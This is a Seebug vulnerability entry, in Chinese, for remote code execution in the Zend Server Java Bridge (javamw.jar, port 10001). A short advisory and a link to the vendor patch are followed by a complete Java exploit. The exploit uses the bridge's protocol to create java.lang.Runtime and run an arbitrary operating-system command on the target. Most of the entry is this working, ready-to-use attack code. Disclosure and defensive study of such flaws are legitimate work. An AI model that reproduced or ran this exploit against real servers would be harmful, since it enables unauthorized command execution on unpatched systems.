Zend Server Java Bridge "javamw.jar"服务远程代码执行漏洞

2011-03-31T00:00:00
ID SSV:20421
Type seebug
Reporter Root
Modified 2011-03-31T00:00:00

Description

BUGTRAQ ID: 47060

Zend是一家PHP公司,成立于1999年,针对PHP的应用陆续发布了至关重要的PHP网络应用平台产品和服务。

Zend Server Java Bridge "javamw.jar"服务在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用程序中执行任意代码,造成拒绝服务。

此漏洞源于Zend Server的Zend Java Bridge v3.1组件中。javamw.jar服务默认接受端口10001上的TCP请求。Zend Server Java Bridge使用的是专属通讯协议,这可能会发送任意Java代码到javamw.jar服务并在服务器进程中执行这些命令。

Zend Server 厂商补丁:

Zend

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.zend.com/downloads

                                        
                                            
                                                /*
 * Zend Java Bridge v3.1 - Remote Code Execution (ZDI-11-113)
 * Copyright (c) 2010 Luca Carettoni
 *
 * ZJB.java v0.2 - 4 August 2010
 *
 * [Usage]
 * java -jar zjb.jar <IP> <PORT> '<CMD>' (Default: 10001/tcp)
 *
 * [Version affected]
 * Zend Server v5.0.2, Zend Server Community Edition v5.0.2 and previous releases
 * http://www.zend.com/en/products/server/
 *
 * All platform are affected (Windows, Linux, Mac OS X and IBM i) as long as the vulnerable Zend Java Bridge
 * component is installed. For instance, this is the default configuration in the Windows "FULL" installation.
 * Disabling the Zend Java Bridge from the administration console does NOT solve the issue.
 *   
 * Exploit tested with the following configurations:
 * - MS Windows Server 2003, Zend Server 5.0.2 default "FULL" installation
 * - Ubuntu 8.10, Zend Server 5.0.2 default installation + "php-5.3-java-bridge-zend-server" installation
 * - Ubuntu 8.10, Zend Server 5.0.0 default installation
 *
 */
package ZJBpoc;
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
 
public class ZJB {
 
    private String ip;
    private String port;
    private String cmd;
    private Socket socket;
 
    public ZJB(String ip, String port, String cmd) {
        this.ip = ip;
        this.port = port;
        this.cmd = cmd;
 
        try {
            System.out.println("[*] Connecting to " + this.ip + ":" + this.port);
            this.socket = new Socket(this.ip, Integer.parseInt(this.port));
        } catch (Exception e) {
            System.out.println("[!] Connection error\n");
            System.exit(-1);
        }
    }
 
    public boolean run() {
 
        System.out.println("[*] Creating the Java Object \"java.lang.Runtime\"");
        byte[] createObj = new byte[]{
            //$runtime =  new Java("java.lang.Runtime");
            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x33, (byte) 0x00,
            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
            (byte) 0x00, (byte) 0x0c, (byte) 0x43, (byte) 0x72, (byte) 0x65,
            (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x4f, (byte) 0x62,
            (byte) 0x6a, (byte) 0x65, (byte) 0x63, (byte) 0x74, (byte) 0x00,
            (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x04, (byte) 0x00,
            (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0x6a, (byte) 0x61,
            (byte) 0x76, (byte) 0x61, (byte) 0x2e, (byte) 0x6c, (byte) 0x61,
            (byte) 0x6e, (byte) 0x67, (byte) 0x2e, (byte) 0x52, (byte) 0x75,
            (byte) 0x6e, (byte) 0x74, (byte) 0x69, (byte) 0x6d, (byte) 0x65,
            (byte) 0x07, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,};
 
        byte[] idObj = new byte[4];
        System.arraycopy(sendData(createObj), 5, idObj, 0, 4);
        System.out.println("  [-] Class ID: 0x" + getHex(idObj));
 
        System.out.println("[*] Invoking static method \"getRuntime()\"");
        byte[] getRuntime = new byte[]{
            //$getRuntime = $runtime->getRuntime();
            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x16,
            idObj[0], idObj[1], idObj[2], idObj[3], //Object ID
            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x67,
            (byte) 0x65, (byte) 0x74, (byte) 0x52, (byte) 0x75, (byte) 0x6e,
            (byte) 0x74, (byte) 0x69, (byte) 0x6d, (byte) 0x65, (byte) 0x00,
            (byte) 0x00, (byte) 0x00, (byte) 0x00
        };
 
        byte[] idMet = new byte[4];
        System.arraycopy(sendData(getRuntime), 5, idMet, 0, 4);
        System.out.println("  [-] Method ID: 0x" + getHex(idMet));
 
        System.out.println("[*] Invoking method \"exec()\" with parameter \"" + this.cmd + "\"");
        byte[] exec = new byte[]{
            //$getRuntime->exec("<system cmd>");
            idMet[0], idMet[1], idMet[2], idMet[3], //Method ID
            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x04, (byte) 0x65,
            (byte) 0x78, (byte) 0x65, (byte) 0x63, (byte) 0x00, (byte) 0x00,
            (byte) 0x00, (byte) 0x01, (byte) 0x04,};
 
        byte[] cmd = this.cmd.getBytes();
        byte[] cmdSize = intToByteArray(cmd.length);
        byte[] payloadSize = intToByteArray(cmd.length + 21);
        System.out.println("  [-] Payload size: 0x" + getHex(payloadSize));
        System.out.println("  [-] Command size: 0x" + getHex(cmdSize));
 
        //payload = payloadSize + (methodId + staticStr) + cmdSize + cmd
        byte[] payload = new byte[4 + exec.length + 4 + cmd.length];
        System.arraycopy(payloadSize, 0, payload, 0, 4);
        System.arraycopy(exec, 0, payload, 4, exec.length);
        System.arraycopy(cmdSize, 0, payload, exec.length + 4, 4);
        System.arraycopy(cmd, 0, payload, 4 + exec.length + 4, cmd.length);
        System.out.println("  [-] Payload: 0x" + getHex(payload));
 
        byte[] execReply = sendData(payload);
 
        System.out.println("[*] Cleaning up the JVM");
        byte[] reset = new byte[]{
            //Reset
            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0xff,
            (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x00, (byte) 0x00,
            (byte) 0x00, (byte) 0x05, (byte) 0x72, (byte) 0x65, (byte) 0x73,
            (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x00, (byte) 0x00,
            (byte) 0x00
        };
        sendData(reset);
 
        //Check the response type of the exec invocation
        if (execReply[3] == (byte) 0x05 && execReply[4] == (byte) 0x05) {
            return true;
        } else {
            return false;
        }
    }
 
    private static String getHex(byte[] raw) {
        final String HEXES = "0123456789ABCDEF";
        if (raw == null) {
            return null;
        }
        final StringBuilder hex = new StringBuilder(2 * raw.length);
        for (final byte b : raw) {
            hex.append(HEXES.charAt((b & 0xF0) >> 4)).append(HEXES.charAt((b & 0x0F)));
        }
        return hex.toString();
    }
 
    private static byte[] intToByteArray(int value) {
        byte[] b = new byte[4];
        for (int i = 0; i < 4; i++) {
            int offset = (b.length - 1 - i) * 8;
            b[i] = (byte) ((value >>> offset) & 0xFF);
        }
        return b;
    }
 
    private byte[] sendData(byte[] data) {
 
        byte[] reply = new byte[9];
 
        try {
            DataOutputStream os = new DataOutputStream(this.socket.getOutputStream());
            DataInputStream is = new DataInputStream(this.socket.getInputStream());
            os.write(data);
            os.flush();
            is.read(reply);
        } catch (IOException ex) {
            System.out.println("[!] Socket error...\n" + ex.getMessage());
        }
        return reply;
    }
 
    public static void main(String[] args) throws IOException {
 
        System.out.println("\n--[ Zend Java Bridge - Remote Code Execution ]");
        System.out.println("--[ Copyright (c) 2010 Luca Carettoni ]\n");
 
        if (args.length != 3) {
 
            System.out.println("[!] Usage: java -jar zjb.jar <IP> <PORT> \'<CMD>\' (Default: 10001/tcp)\n");
            System.exit(0);
 
        } else {
 
            ZJB exploit = new ZJB(args[0], args[1], args[2]);
 
            if (exploit.run()) {
                System.out.println("[*] Write once, exploit anywhere!\n");
            } else {
                System.out.println("[!] An error occurred during the execution...\n");
            }
            exploit.socket.close();
 
        }
    }
}